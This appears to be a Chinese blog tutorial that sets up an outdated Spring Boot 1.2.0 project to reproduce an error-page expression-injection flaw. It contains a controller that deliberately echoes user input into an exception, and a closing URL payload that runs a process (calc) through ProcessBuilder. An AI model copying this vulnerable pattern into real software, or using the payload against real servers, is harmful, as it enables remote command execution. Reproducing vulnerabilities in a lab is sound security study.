zoukankan      html  css  js  c++  java
  • 整合Spring Boot

    1.file==》new==》project

    2.搭建成功,目录结构如下

     3.右键com.example.demo

     4.新建包

    5.右键web包,新建Java Class文件SimpleController

    package com.example.demo.web;
     
     
    import com.example.demo.service.HelloWorldService;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
     
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    @Controller
    public class SampleController {
     
     
        @Autowired
        private HelloWorldService helloWorldService;
     
     
        @RequestMapping("/")
        @ResponseBody
        public String helloWorld(String payload){
            //Integer.parseInt(id);
            //throw new IlleaglStateException();
            throw  new IllegalStateException(payload);
        }
     
    }

    6.新建service文件HelloWorldService
    package com.example.demo.service;
     
    import org.springframework.stereotype.Service;
     
    @Service
    public class HelloWorldService {
    }
    10、此时SpringBoot已搭建完成,但是版本不对,打开pom.xml,将下列代码替换pom.xml中的内容
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-parent</artifactId>
            <version>1.2.0.RELEASE</version>
     
        </parent>
        <groupId>com.example</groupId>
        <artifactId>demo</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <name>demo</name>
        <description>Demo project for Spring Boot</description>
     
        <properties>
            <java.version>1.7</java.version>
        </properties>
     
        <dependencies>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-web</artifactId>
                <version>1.2.0.RELEASE</version>
            </dependency>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-tomcat</artifactId>
                <version>1.2.0.RELEASE</version>
     
                <scope>provided</scope>
     
            </dependency>
     
            <dependency>
                <groupId>org.springframework</groupId>
                <artifactId>spring-test</artifactId>
                <version>4.1.6.RELEASE</version>
            </dependency>
     
     
     
        </dependencies>
     
        <build>
            <plugins>
                <plugin>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-maven-plugin</artifactId>
                </plugin>
            </plugins>
        </build>
     
    </project>


    7.运行项目
    打开DemoApplication.java文件,右键运行

    8.此时会报错,删除test文件夹即可(右键==》delete)

     9.再次运行,出现以下界面即为成功

     10.地址栏里输入http://127.0.0.1:8080/?payload=${new%20java.lang.ProcessBuilder(new%20java.lang.String(new%20byte[]{99,97,108,99})).start()}

    勿做伸手党,勤思考,总能成就一番事业。
  • 相关阅读:
    配置并学习微信JS-SDK(1)
    在 Sublime Text 3 中运行 PHP
    apache-配置虚拟主机
    mysql-积累管理sql语句
    博客园-推荐发博客工具的安装配置
    注释多行文本
    nargin
    Sublime Text
    The MATLAB Profiler
    Fig723.asy
  • 原文地址:https://www.cnblogs.com/X-caiji/p/13291816.html
Copyright © 2011-2022 走看看